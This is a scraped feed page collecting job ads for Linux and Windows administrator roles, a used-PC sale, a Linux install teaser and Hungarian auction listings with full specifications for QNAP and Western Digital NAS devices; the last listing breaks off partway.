Next Page: 10000

          Admin/Presales Support Specialist at Virtual Nigeria      Cache   Translate Page      

Virtual Nigeria is a Red Hat training partner. Red Hat is an American software company and is the worldandrsquo;s most trusted provider of Linux and open source technology. We provide enterprises with an open stack of trusted, high-performing technologies and services made possible by the open source model. Currently the only certified training partner (CTP) in West Africa, we have an unwaverin


          Business Development Representative at Virtual Nigeria      Cache   Translate Page      

Virtual Nigeria is a Red Hat training partner. Red Hat is an American software company and is the worldandrsquo;s most trusted provider of Linux and open source technology. We provide enterprises with an open stack of trusted, high-performing technologies and services made possible by the open source model. Currently the only certified training partner (CTP) in West Africa, we have an unwaverin


          Windows Admin      Cache   Translate Page      
TN-Nashville, ACS group has an immediate need for Windows Admin. It is located in Nashville, TN. Please review the job description below: Role/Title: Windows Admin Location: Nashville, TN Duration: Long Term Required: Skills: Windows server administration IIS Exposure to SQL tools from admin perspective Basic Linux skills (Good to have) Job description: Work on the tickets assigned in the ticket queue Customer
          A: Fujitsu Esprimo E710 E90+ - € 120,-      Cache   Translate Page      
De computer is in goede staat en functioneert naar behoren. De specificaties zijn: CPU: Intel Core i3-3220 (3,3GHz) Ram: 8GB 2x HD 160GB (dus totaal 320 GB) Voor meer specificaties zie link. pricewatch: Fujitsu Esprimo E710 E90+ (VFY:E0710P4371NL) Word geleverd met een schone en legitieme Windows 10 pro. (Op deze computer kan ook goed linux worden geïnstalleerd.) Liefst ophalen vanwege het gewicht...
          Come installare Linux da USB      Cache   Translate Page      
Dopo aver acquisito le necessarie competenze su Windows, hai deciso di espandere i tuoi orizzonti e di provare Linux, un sistema operativo di cui tanto hai sentito parlare nelle conversazioni tra i tuoi amici smanettoni. Poiché disponi di un computer non dotato di lettore CD, hai optato per un’installazione tramite chiavetta USB e stai cercando informazioni su […]
          Svetovalec področja I - skrbnik dokumentnega sistema in podatkovnih baz (m/ž)      Cache   Translate Page      
Zaželena znanja: dobro poznavanje sistemov za upravljanje dokumentov (zaželeno poznavanje dokumentnega sistema IBM Content Manager on Demand), dobro poznavanje sistemov za upravljanje podatkovnih baz (zaželeno znanje s področja podatkovne baze IBM DB2), izkušnje s področja administracije Windows in Linux strežnikov...
          Svetovalec področja I - skrbnik aplikacijskih in portalskih strežnikov (m/ž)      Cache   Translate Page      
Zaželena znanja: dobro poznavanje aplikacijskih in portalskih strežnikov (IBM WebSphere ali drugih primerljivih sistemov), osnovo poznavanje JAVA, izkušnje s področja administracije Linux strežnikov...
          Strokovni delavec za izvajanje zavarovanja I - skrbnik drugih tehnoloških okolij (m/ž)      Cache   Translate Page      
Zaželena znanja: poznavanje/izkušnje iz področja administracije vmesne programske opreme IBM (aplikacijskih, portalskih, procesnih in drugih strežnikov), izkušnje s področja administracije Linux in Windows strežnikov, poznavanje konceptov virtualnih okolij...
          XCOM 2: War of the Chosen - Tactical Legacy Pack est dispo sur macOS et Linux      Cache   Translate Page      
none
          24:7 RECRUITMENT SOLUTIONS: Contract Linux Engineer (Redhat)      Cache   Translate Page      
24:7 RECRUITMENT SOLUTIONS: Contract Linux Engineer Required Our Hertfordshire based award winning financial services client seeks an experienced Contract Linux Engineer, with the following skills and experience Min on 5 years of commercial experience in a Linux Engineering role. Es Hatfield
          QNAP TVS-473E - Jelenlegi ára: 387 900 Ft      Cache   Translate Page      
TápegységKülsőCsatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok4 Mikrofonbemenet✔ HDMI portok mennyisége2 USB 3. 0 (3. 1 Gen 1) A típusú portok száma4 USB port✔ HDMI-verzió1, 4 PCI Express x4 (Gen 3. x) bővítőhelyek2 3, 5 mm-es (1/8 hüvelykes) kimenet✔ Üzemi körülményekÜzemi hőmérséklettartomány (T-T)0 ? 40 °CTárolási relatív páratartalmi tartomány5 ? 95 %AdattárolásTámogatott tároló meghajtó típusokHDD / SSDA támogatott tárolómeghajtók száma4 Háttértár interfészM. 2 / Serial ATA IIITárolóeszköz mérete6. 350000006477 / 8. 8900000090678 cmRAID támogatás✔ Hot-swap meghajtórekeszek✔ RAID-szintek0 / 5 / 10 JBODTámogatott fájlrendszerekFAT32 / HFS+ / NTFS / exFAT / ext3 / ext4Online RAID migráció✔ Online RAID bővítés✔ Speciális processzor funkciókIntel? AES New Instructions (Intel? AES-NI)✔ KialakításTermék színeSzürkeBeépített kijelző✔ Beépített hangszóró(k)✔ Gépház típusaToronyHűtés típusaAktívVentilátorok száma2 ventilátorok számaVentilátor átmérője12 cmKábelzár csatlakozó✔ Kábelzár-bővítőhely típusaKensingtonKijelző típusaLCDVentilátor átmérője 26 cmBeépített hangszórók száma2 Tömeg és méretekTömeg4, 9 kgSzélesség19, 93 cmMélység27, 96 cmMagasság18, 82 cmProcesszorProcesszormodellRX-421BDA processzor frekvenciája2, 1 GHzA processzor növelési frekvenciája3, 4 GHzProcesszormagok4 Processzor üzemmódok64 -bitProcessszorcsaládAMD RMemóriaMemória bővítőhelyek4 x SODIMM DDR4RAM kapacitás4 GBRAM típusaDDR4Maximális RAM támogatás64 GBFlash memória mérete512 MBTartozékokCsavarok száma14 Kábelek mellékelveAC / LAN (RJ-45)TeljesítményTípusNASTámogatott Windows operációs rendszerekWindows 10 / Windows 7 / Windows 8Támogatott Mac operációs rendszerekMac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksIntegrált kapcsoló✔ EszközosztályOtthoni és otthoni irodaiTelepített operációs rendszerQNAP Turbo SystemBiztonsági mentés jellemzőiFelhő / iSCSI LUNHangjelző✔ Az operációs rendszer verziója4, 3 Biztonsági algoritmusok256 -bit AESTámogatott Linux operációs rendszerek✔ Backup funkció✔ Biztonsági mentés gomb✔ Univerzális Plug and Play (UPnP)✔ Hozzáférési vezérlő lista (ACL)✔ Többnyelvű ügyfélszolgálat✔ Támogatott böngészőApple Safari 7 / Google Chrome / Microsoft Internet Explorer 10 / Mozilla FirefoxTámogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016HálózatiSCSI-támogatás✔ DHCP kliens✔ DHCP szerver✔ LAN-ébresztési funkció✔ Dynamic DNS (DDNS)✔ Óriáskeret támogatással✔ LAN adatátviteli sebesség1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásAC bemeneti feszültség100 ? 240AC bemeneti frekvencia50 / 60Tápellátás helyeBeépítettTápegység (PSU) teljesítménye250 WGrafikaFedélzeti grafikus adapter-modellAMD Radeon R7Méretek és súlySúly5. 7 kgCsomagolás tartalmaGyorstelepítési útmutató✔
QNAP TVS-473E
Jelenlegi ára: 387 900 Ft
Az aukció vége: 2018-10-28 03:08
          QNAP TS-251B - Jelenlegi ára: 129 900 Ft      Cache   Translate Page      
AdattárolásTámogatott tároló meghajtó típusokHDD / SSDA támogatott tárolómeghajtók száma2 Háttértár interfészSerial ATA IIIRAID támogatás✔ Hot-swap meghajtórekeszek✔ Támogatott fájlrendszerekFAT32 / HFS+ / NTFS / exFAT / ext3 / ext4Támogatott tárolóeszköz-meghajtó csatlakozási felületekSerial ATA IIIHibás blokk keresése✔ Támogatott meghajtóméretek6. 350000006477 / 8. 8900000090678 cmRAID rebuild✔ Speciális processzor funkciókIntel? Identity Protection Technology (Intel? IPT)✔ Intel? High Definition Audio (Intel? HD Audio)✔ Enhanced Intel? SpeedStep Technology✔ Intel? Clear Video HD Technology (Intel? CVT HD)✔ Intel? Clear Video Technology✔ Intel? Quick Sync Video Technology✔ Intel? AES New Instructions (Intel? AES-NI)✔ Intel? Enhanced Halt State✔ Intel? VT-x with Extended Page Tables (EPT)✔ Intel? Secure Key✔ Intel? Clear Video technológia mobil internet eszközökhöz (Intel CVT for MID)✔ Intel? 64✔ Execute Disable Bit✔ Hőfigyelő technológiák✔ UART✔ Intel? Virtualization Technology for Directed I/O (VT-d)✔ Intel? Virtualization Technology (VT-x)✔ Tétlen állapotok✔ Intel? Secure Boot✔ A PCI Expressz sávok maximális száma6 A végrehajtási egységek száma12 A processzor által támogatott memóriacsatornákDuplaA processzor által támogatott memóriatípusokDDR3L / LPDDR3-SDRAM / LPDDR4-SDRAMKialakításTermék színeFehérLED-kijelzőkHDD / LAN / Biztosított áramellátás / Státusz / USBBeépített hangszóró(k)✔ Gépház típusaToronyHűtés típusaAktívVentilátorok száma1 ventilátorok számaVentilátor átmérője7 cmKábelzár csatlakozó✔ Kábelzár-bővítőhely típusaKensingtonBeépített hangszórók száma1 Tömeg és méretekTömeg1, 53 kgSzélesség10, 5 cmMélység22, 6 cmMagasság16, 8 cmTápegységKülsőCsatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok1 Mikrofonbemenet✔ HDMI portok mennyisége1 USB 2. 0 portok száma2 USB 3. 0 (3. 1 Gen 1) A típusú portok száma2 USB port✔ HDMI-verzió1, 4 3, 5 mm-es (1/8 hüvelykes) kimenet✔ Üzemi körülményekÜzemi hőmérséklettartomány (T-T)0 ? 40 °CRelatív üzemi páratartalom-tartomány5 ? 95 %ProcesszorProcesszormodellJ3355ProcesszorkódSR2Z8LéptetőB1Tjunction105 °CThermal Design Power (TDP)10 WA processzor frekvenciája2 GHzA processzor növelési frekvenciája2, 5 GHzProcesszormagok2 Processzorszálak2 A buszrendszer sebessége5 GT/másodpercProcesszor gyorsítótár2 MBA processzor gyorsítótárának típusaSmart CacheProcesszor litográfia14 nmProcesszor üzemmódok64 -bitA processzor kódneveApollo LakePCI-expressz csatlakozók verziója2 PCI Express konfigurációk1 x 2 x 2 x 1. 4 x 1Konfliktusmentes processzor✔ CPU konfiguráció (max. )1 A processzor csomag mérete24 x 31A processzor által támogatott maximális belső memória8 GBProcesszor ARK ID95597 ProcessszorcsaládIntel? Celeron? MemóriaBelső memória2 GBMemória bővítőhelyek2Belső memória típusaDDR3LMaximális RAM támogatás8 GBFlash memória mérete4 GBSzoftverTámogatott Windows operációs rendszerekWindows 10 / Windows 7 / Windows 8Telepített operációs rendszerQNAP Turbo SystemTámogatott Linux operációs rendszerek✔ Támogatott Mac operációs rendszerekMac OS X 10. 10 Yosemite / Mac OS X 10. 11 El Capitan / Mac OS X 10. 12 Sierra / Mac OS X 10. 13 High Sierra / Mac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksTámogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2003 x64 / Windows Server 2008 R2 / Windows Server 2008 R2 x64 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2012 R2 x64 / Windows Server 2012 x64 / Windows Server 2016 / Windows Server 2016 x64Az operációs rendszer verziója4, 3 TartozékokKülső áramerősségszolgáltató✔ Kábelek mellékelveAC / LAN (RJ-45)TeljesítményTípusNASIntegrált kapcsoló✔ EszközosztályOtthoni és otthoni irodaiBiztonsági mentés jellemzőiUSB meghajtóHangjelző✔ Biztonsági algoritmusok256 ? 2 HTTPS, SSH, SSL/TLSBeépített iTunes kiszolgáló✔ Beépített FTP kiszolgáló✔ Rendszernapló✔ MappamegosztásCIFS / SMBIgazgatási protokollokSNMPBackup funkció✔ Újraindító gomb✔ Aktív alkatrész csere✔ Univerzális Plug and Play (UPnP)✔ Mappamegosztás hozzáférésének jogkezelése✔ Hozzáférési vezérlő lista (ACL)✔ Többnyelvű ügyfélszolgálat✔ Támogatott böngészőApple Safari 7 or later / Google Chrome / Microsoft Internet Explorer 10 or later / Mozilla FirefoxZajszint17, 3 dBHálózatiSCSI-támogatás✔ DHCP kliens✔ DHCP szerver✔ LAN-ébresztési funkció✔ Támogatott hálózati protokollokPPTP / L2TP / IPSec / OpenVPNDynamic DNS (DDNS)✔ Óriáskeret támogatással✔ LAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásÁramfogyasztás (tipikus)15, 25 WAC bemeneti feszültség100 ? 240Tápellátás helyeKülsőTápegység (PSU) teljesítménye65 WTeljesítményfelvétel (HDD készenlét)8, 08 WGrafikaFedélzeti grafikus adapter-modellIntel? HD Graphics 500A fedélzeti grafikus adapter alapfrekvenciája250 MhzA fedélzeti grafikus adapter csomópontos frekvenciája700 MhzMaximális fedélzeti grafikus adapter memória8 GBA támogatott kijelzők száma (fedélzeti grafika)3 AlaplapProcesszorfoglalatBGA 1296Méretek és súlySúly2. 92 kgCsomagolás tartalmaGyorstelepítési útmutató✔
QNAP TS-251B
Jelenlegi ára: 129 900 Ft
Az aukció vége: 2018-10-28 05:24
          QNAP TVS-473E - Jelenlegi ára: 436 900 Ft      Cache   Translate Page      
Csatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok4 Mikrofonbemenet✔ HDMI portok mennyisége2 USB 3. 0 (3. 1 Gen 1) A típusú portok száma4 USB port✔ HDMI-verzió1, 4 PCI Express x4 (Gen 3. x) bővítőhelyek2 3, 5 mm-es (1/8 hüvelykes) kimenet✔ Üzemi körülményekÜzemi hőmérséklettartomány (T-T)0 ? 40 °CTárolási relatív páratartalmi tartomány5 ? 95 %AdattárolásTámogatott tároló meghajtó típusokHDD / SSDA támogatott tárolómeghajtók száma4 Háttértár interfészM. 2 / Serial ATA IIITárolóeszköz mérete6. 350000006477 / 8. 8900000090678 cmRAID támogatás✔ Hot-swap meghajtórekeszek✔ RAID-szintek0 / 5 / 10 JBODTámogatott fájlrendszerekFAT32 / HFS+ / HPFS / exFAT / ext3 / ext4Online RAID migráció✔ Online RAID bővítés✔ Speciális processzor funkciókIntel? AES New Instructions (Intel? AES-NI)✔ KialakításTermék színeSzürkeBeépített kijelző✔ Beépített hangszóró(k)✔ Gépház típusaToronyHűtés típusaAktívVentilátorok száma2 ventilátorok számaVentilátor átmérője12 cmKábelzár csatlakozó✔ Kábelzár-bővítőhely típusaKensingtonKijelző típusaLCDVentilátor átmérője 26 cmBeépített hangszórók száma2 Tömeg és méretekTömeg4, 9 kgSzélesség19, 93 cmMélység27, 96 cmMagasság18, 82 cmProcesszorProcesszormodellRX-421BDA processzor frekvenciája2, 1 GHzA processzor növelési frekvenciája3, 4 GHzProcesszormagok4 Processzor üzemmódok64 -bitProcessszorcsaládAMD RMemóriaMemória bővítőhelyek4 x SODIMM DDR4RAM kapacitás8 GBRAM típusaDDR4Maximális RAM támogatás64 GBFlash memória mérete512 MBTartozékokCsavarok száma14 Kábelek mellékelveAC / LAN (RJ-45)TeljesítményTípusNASTámogatott Windows operációs rendszerekWindows 10 / Windows 7 / Windows 8Támogatott Mac operációs rendszerekMac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksIntegrált kapcsoló✔ EszközosztályOtthoni és otthoni irodaiTelepített operációs rendszerQNAP Turbo SystemBiztonsági mentés jellemzőiFelhő / iSCSI LUNHangjelző✔ Az operációs rendszer verziója4, 3 Biztonsági algoritmusok256 -bit AESTámogatott Linux operációs rendszerek✔ Backup funkció✔ Biztonsági mentés gomb✔ Univerzális Plug and Play (UPnP)✔ Hozzáférési vezérlő lista (ACL)✔ Többnyelvű ügyfélszolgálat✔ Támogatott böngészőApple Safari 7 / Google Chrome / Microsoft Internet Explorer 10 / Mozilla FirefoxTámogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016HálózatiSCSI-támogatás✔ DHCP kliens✔ DHCP szerver✔ LAN-ébresztési funkció✔ Dynamic DNS (DDNS)✔ Óriáskeret támogatással✔ LAN adatátviteli sebesség1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásAC bemeneti feszültség100 ? 240AC bemeneti frekvencia50 / 60Tápellátás helyeBeépítettTápegység (PSU) teljesítménye250 WGrafikaFedélzeti grafikus adapter-modellAMD Radeon R7Csomagolás tartalmaGyorstelepítési útmutató✔
QNAP TVS-473E
Jelenlegi ára: 436 900 Ft
Az aukció vége: 2018-10-28 03:08
          QNAP TS-453BE - Jelenlegi ára: 220 900 Ft      Cache   Translate Page      
Üzemi körülményekÜzemi hőmérséklettartomány (T-T)0 ? 40 °CRelatív üzemi páratartalom-tartomány5 ? 95 %AdattárolásTámogatott tároló meghajtó típusokHDD / SSDA támogatott tárolómeghajtók száma4 Háttértár interfészSerial ATA IIITárolóeszköz mérete6. 350000006477 / 8. 8900000090678 cmRAID támogatás✔ Hot-swap meghajtórekeszek✔ RAID-szintek0 / 5 / 10 JBODSpeciális processzor funkciókIntel? Identity Protection Technology (Intel? IPT)✔ Intel? High Definition Audio (Intel? HD Audio)✔ Enhanced Intel? SpeedStep Technology✔ Intel? Clear Video HD Technology (Intel? CVT HD)✔ Intel? Clear Video Technology✔ Intel? Quick Sync Video Technology✔ Intel? AES New Instructions (Intel? AES-NI)✔ Intel? Enhanced Halt State✔ Intel? VT-x with Extended Page Tables (EPT)✔ Intel? Secure Key✔ Intel? Clear Video technológia mobil internet eszközökhöz (Intel CVT for MID)✔ Intel? 64✔ Execute Disable Bit✔ Hőfigyelő technológiák✔ UART✔ Intel? Virtualization Technology for Directed I/O (VT-d)✔ Intel? Virtualization Technology (VT-x)✔ Tétlen állapotok✔ Intel? Secure Boot✔ A PCI Expressz sávok maximális száma6 A végrehajtási egységek száma12 A processzor által támogatott memóriacsatornákDuplaA processzor által támogatott memóriatípusokDDR3L / LPDDR3-SDRAM / LPDDR4-SDRAMKialakításTermék színeFeketeLED-kijelzőkHDD / LAN / Biztosított áramellátás / Státusz / USBGépház típusaMini toronyHűtés típusaAktívVentilátorok száma1 ventilátorok számaVentilátor átmérője12 cmKábelzár csatlakozó✔ Kábelzár-bővítőhely típusaKensingtonTömeg és méretekTömeg2, 33 kgSzélesség17 cmMélység22, 6 cmMagasság16, 8 cmTovábbi jellemzőkEnergiakezelés✔ Csatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok2 HDMI portok mennyisége2 USB 3. 0 (3. 1 Gen 1) A típusú portok száma5 USB port✔ HDMI-verzió1, 4 3, 5 mm-es (1/8 hüvelykes) kimenet✔ ProcesszorProcesszormodellJ3455ProcesszorkódSR2Z9LéptetőB1Tjunction105 °CThermal Design Power (TDP)10 WA processzor frekvenciája1, 5 GHzA processzor növelési frekvenciája2, 3 GHzProcesszormagok4 Processzorszálak4 Processzor gyorsítótár2 MBA processzor gyorsítótárának típusaSmart CacheProcesszor litográfia14 nmProcesszor üzemmódok64 -bitA processzor kódneveApollo LakePCI-expressz csatlakozók verziója2 PCI Express konfigurációk1 x 2 x 2 x 1. 4 x 1Konfliktusmentes processzor✔ CPU konfiguráció (max. )1 A processzor csomag mérete24 x 31A processzor által támogatott maximális belső memória8 GBProcesszor ARK ID95594 ProcessszorcsaládIntel? Celeron? MemóriaMemória bővítőhelyek2RAM kapacitás4 GBRAM típusaDDR3LMaximális RAM támogatás8 GBTartozékokKülső áramerősségszolgáltató✔ Csavarok száma12 Kábelek mellékelveAC / LAN (RJ-45)TeljesítményTípusNASTámogatott Windows operációs rendszerekWindows 10 / Windows 7 / Windows 8Támogatott Mac operációs rendszerekMac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksIntegrált kapcsoló✔ EszközosztályOtthoni és otthoni irodaiTelepített operációs rendszerQNAP Turbo SystemBiztonsági mentés jellemzőiFelhő / USB meghajtó / iSCSI LUNAz operációs rendszer verziója4, 3 . 4Biztonsági algoritmusok256 ? 2 HTTPS, SSH, SSL/TLSTámogatott Linux operációs rendszerek✔ Backup funkció✔ Újraindító gomb✔ Aktív alkatrész csere✔ Biztonsági mentés gomb✔ Univerzális Plug and Play (UPnP)✔ Hozzáférési vezérlő lista (ACL)✔ Támogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016HálózatiSCSI-támogatás✔ LAN-ébresztési funkció✔ Dynamic DNS (DDNS)✔ LAN adatátviteli sebesség1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásÁramfogyasztás (tipikus)30, 04 WAC bemeneti feszültség100 ? 240Tápegység (PSU) teljesítménye90 WTeljesítményfelvétel (HDD készenlét)15 WGrafikaFedélzeti grafikus adapter-modellIntel HD Graphics 500A fedélzeti grafikus adapter alapfrekvenciája250 MhzA fedélzeti grafikus adapter csomópontos frekvenciája750 MhzMaximális fedélzeti grafikus adapter memória8 GBA támogatott kijelzők száma (fedélzeti grafika)3 AlaplapProcesszorfoglalatBGA 1296Csomagolás tartalmaGyorstelepítési útmutató✔
QNAP TS-453BE
Jelenlegi ára: 220 900 Ft
Az aukció vége: 2018-10-28 03:44
          Western Digital My Cloud EX4100 - Jelenlegi ára: 533 900 Ft      Cache   Translate Page      
TípusNASBővíthető✔ SzínfeketeMaximális kapacitás24000 GBBackup szoftver✔ Webes elérés✔ Merevlemez férőhelyek száma4 dbDLNA támogatás✔ RAID szintek1 / 5UPnP támogatás✔ RAID támogatás✔ ProcesszorProcesszormodellArmada 388Processzor órajele1, 6 GHzProcesszormagok száma2 ProcessszorcsaládMarvellMemóriaBelső memória mérete2 GBBelső memória típusaDDR3KompatibilitásTámogatott fájlrendszerekext2 / ext3 / ext4 / FAT32 / HFS / NTFSTámogatott merevlemezHDDTámogatott Windows verziókVanOperációs rendszerOperációs rendszerMy Cloud OSCsatlakozókMerevlemez csatlakozóSATAEthernet✔ USB csatlakozóVanUSB portVanPortokEthernet LAN (RJ-45) portok száma2 TeljesítményDevice classHome & Home OfficeBackup funkció✔ Backup jellemzőkCloud / iSCSI LUNWebalapú kezelés✔ Támogatott biztonsági algoritmus256-bit AESTámogatott Linux verziókVanTámogatott Mac operációs rendszer verziókVanTanúsítványokDLNA tanúsítvánnyal✔ TárolóegységÖsszes beépített tárolókapacitás23, 4375 TBTelepített meghajtók✔ Telepített tároló típusaHDDMaximális tárolókapacitás24 TBMeghajtó mérete8. 8900000090678 cmHot-swap meghajtó hely✔ Meghajtó interfészSATATámogatott meghajtók száma4 RAID-szintek1 / 5 / JBODRAID támogatás✔ Ergonómia / FormatervezésGépház típusaAsztaliLED-kijelzőkVanHűtés típusaAktívHűtésVentilátorok száma1 fanEnergiamenedzsmentKimeneti áramerősség6, 32 AKimeneti feszültség19 VAC bemeneti frekvencia50 / 60 HzAC adapter bemeneti feszültség100 ? 240 VKörnyezeti feltételekTárolási hőmérséklettartomány (T-T)-40 ? 70 °CÜzemi hőmérséklettartomány (T-T)0 - 35 °CKapcsolatUSB 3. 0 (3. 1 Gen 1) Type-A portok száma2HálózatiSCSI-támogatás✔ DHCP kliens✔ LAN-ébresztési funkció✔ Támogatott hálózati protokollokSSH / LLTD / UPnP / NTP / Apple BonjourÓriáskeret támogatással✔ LAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásTápegység helyeKülsőMéretek és súlySzélesség173 mmMagasság18, 8 cmMélység234 mm
Western Digital My Cloud EX4100
Jelenlegi ára: 533 900 Ft
Az aukció vége: 2018-10-27 11:20
          Western Digital My Cloud EX4100 - Jelenlegi ára: 289 900 Ft      Cache   Translate Page      
TípusNASBővíthető✔ SzínfeketeMaximális kapacitás24000 GBBackup szoftver✔ Webes elérés✔ Merevlemez férőhelyek száma4 dbDLNA támogatás✔ RAID szintek1 / 5UPnP támogatás✔ RAID támogatás✔ ProcesszorProcesszormodellArmada 388Processzor órajele1, 6 GHzProcesszormagok száma2 ProcessszorcsaládMarvellMemóriaBelső memória mérete2 GBBelső memória típusaDDR3Operációs rendszerOperációs rendszerMy Cloud OSKompatibilitásTámogatott fájlrendszerekext2 / ext3 / ext4 / FAT32 / HFS / NTFSTámogatott merevlemezHDDTámogatott Windows verziókVanCsatlakozókMerevlemez csatlakozóSATAEthernet✔ USB csatlakozóVanUSB portVanPortokEthernet LAN (RJ-45) portok száma2 TeljesítményDevice classHome & Home OfficeBackup funkció✔ Backup jellemzőkCloud / iSCSI LUNWebalapú kezelés✔ Támogatott biztonsági algoritmus256-bit AESTámogatott Linux verziókVanTámogatott Mac operációs rendszer verziókVanErgonómia / FormatervezésGépház típusaAsztaliLED-kijelzőkVanHűtés típusaAktívHűtésVentilátorok száma1 fanTanúsítványokDLNA tanúsítvánnyal✔ TárolóegységÖsszes beépített tárolókapacitás7, 8125 TBTelepített meghajtók✔ Telepített tároló típusaHDDMaximális tárolókapacitás24 TBMeghajtó mérete8. 8900000090678 cmHot-swap meghajtó hely✔ Meghajtó interfészSATATámogatott meghajtók száma4 RAID-szintek1 / 5 / JBODRAID támogatás✔ EnergiamenedzsmentKimeneti áramerősség6, 32 AKimeneti feszültség19 VAC bemeneti frekvencia50 / 60 HzAC adapter bemeneti feszültség100 ? 240 VKörnyezeti feltételekTárolási hőmérséklettartomány (T-T)-40 ? 70 °CÜzemi hőmérséklettartomány (T-T)0 - 35 °CKapcsolatUSB 3. 0 (3. 1 Gen 1) Type-A portok száma2HálózatiSCSI-támogatás✔ DHCP kliens✔ LAN-ébresztési funkció✔ Támogatott hálózati protokollokSSH / LLTD / UPnP / NTP / Apple BonjourÓriáskeret támogatással✔ LAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásTápegység helyeKülsőMéretek és súlySzélesség173 mmMagasság18, 8 cmMélység234 mm
Western Digital My Cloud EX4100
Jelenlegi ára: 289 900 Ft
Az aukció vége: 2018-10-27 11:20
          Western Digital My Cloud EX4100 16TB - Jelenlegi ára: 422 900 Ft      Cache   Translate Page      
TípusNASBővíthető✔ SzínfeketeMaximális kapacitás24000 GBBackup szoftver✔ Webes elérés✔ Merevlemez férőhelyek száma4 dbDLNA támogatás✔ RAID szintek1 / 5UPnP támogatás✔ RAID támogatás✔ ProcesszorProcesszormodellArmada 388Processzor órajele1, 6 GHzProcesszormagok száma2 ProcessszorcsaládMarvellMemóriaBelső memória mérete2 GBBelső memória típusaDDR3KompatibilitásTámogatott fájlrendszerekext2 / ext3 / ext4 / FAT32 / HFS / NTFSTámogatott merevlemezHDDTámogatott Windows verziókVanOperációs rendszerOperációs rendszerMy Cloud OSCsatlakozókMerevlemez csatlakozóSATAEthernet✔ USB csatlakozóVanUSB portVanTeljesítményDevice classHome & Home OfficeBackup funkció✔ Backup jellemzőkCloud / iSCSI LUNWebalapú kezelés✔ Támogatott biztonsági algoritmus256-bit AESTámogatott Linux verziókVanTámogatott Mac operációs rendszer verziókVanPortokEthernet LAN (RJ-45) portok száma2 HűtésVentilátorok száma1 fanTanúsítványokDLNA tanúsítvánnyal✔ TárolóegységÖsszes beépített tárolókapacitás15, 625 TBTelepített meghajtók✔ Telepített tároló típusaHDDMaximális tárolókapacitás24 TBMeghajtó mérete8. 8900000090678 cmHot-swap meghajtó hely✔ Meghajtó interfészSATATámogatott meghajtók száma4 RAID-szintek1 / 5 / JBODRAID támogatás✔ Ergonómia / FormatervezésGépház típusaAsztaliLED-kijelzőkVanHűtés típusaAktívKörnyezeti feltételekTárolási hőmérséklettartomány (T-T)-40 ? 70 °CÜzemi hőmérséklettartomány (T-T)0 - 35 °CEnergiamenedzsmentKimeneti áramerősség6, 32 AKimeneti feszültség19 VAC bemeneti frekvencia50 / 60 HzAC adapter bemeneti feszültség100 ? 240 VKapcsolatUSB 3. 0 (3. 1 Gen 1) Type-A portok száma2HálózatiSCSI-támogatás✔ DHCP kliens✔ LAN-ébresztési funkció✔ Támogatott hálózati protokollokSSH / LLTD / UPnP / NTP / Apple BonjourÓriáskeret támogatással✔ LAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásTápegység helyeKülsőMéretek és súlySzélesség173 mmMagasság18, 8 cmMélység234 mm
Western Digital My Cloud EX4100 16TB
Jelenlegi ára: 422 900 Ft
Az aukció vége: 2018-10-27 11:20
          QNAP TS-128A - Jelenlegi ára: 47 900 Ft      Cache   Translate Page      
Csatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok1 USB 2. 0 portok száma2 USB 3. 0 (3. 1 Gen 1) A típusú portok száma1 USB port✔ Üzemi körülményekÜzemi hőmérséklettartomány (T-T)0 ? 40 °CTárolási relatív páratartalmi tartomány5 ? 95 %AdattárolásTámogatott tároló meghajtó típusokHDDA támogatott tárolómeghajtók száma1 Háttértár interfészSerial ATA IIITárolóeszköz mérete8, 8900000090678 cmRAID támogatás✔ Támogatott fájlrendszerekFAT32 / HFS+ / NTFS / ext3 / ext4Hibás blokk keresése✔ KialakításTermék színeFehérLED-kijelzőkHálózati / Státusz / SystemGépház típusaMini toronyHűtés típusaAktívVentilátorok száma1 ventilátorok számaVentilátor átmérője4 cmTömeg és méretekTömeg56 dkgSzélesség6 cmMélység12, 5 cmMagasság18, 77 cmCsomagolás tömege1, 74 kgTovábbi jellemzőkEnergiakezelés✔ RAIDNincsUSB 3. 11 ProcesszorProcesszormodellRTD1295A processzor frekvenciája1, 4 GHzProcesszormagok4 Processzor architektúraARM Cortex-A53ProcessszorcsaládRealtekMemóriaRAM kapacitás1 GBRAM típusaDDR4Flash memória mérete3, 90625 GBTartozékokKülső áramerősségszolgáltató✔ Kábelek mellékelveAC / LAN (RJ-45)TeljesítményTípusNASTámogatott Windows operációs rendszerekWindows 10 / Windows 7 / Windows 8Támogatott Mac operációs rendszerekMac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksIntegrált kapcsoló✔ EszközosztályOtthoni és otthoni irodaiTelepített operációs rendszerQNAP Turbo SystemBiztonsági mentés jellemzőiFelhő / iSCSI LUNHangjelző✔ Az operációs rendszer verziója4, 3 Biztonsági algoritmusok256 ? 2 HTTPS, SNMP, SSHTámogatott Linux operációs rendszerek✔ Backup funkció✔ S. M. A. R. T. támogatás✔ Újraindító gomb✔ Biztonsági mentés gomb✔ Univerzális Plug and Play (UPnP)✔ Hozzáférési vezérlő lista 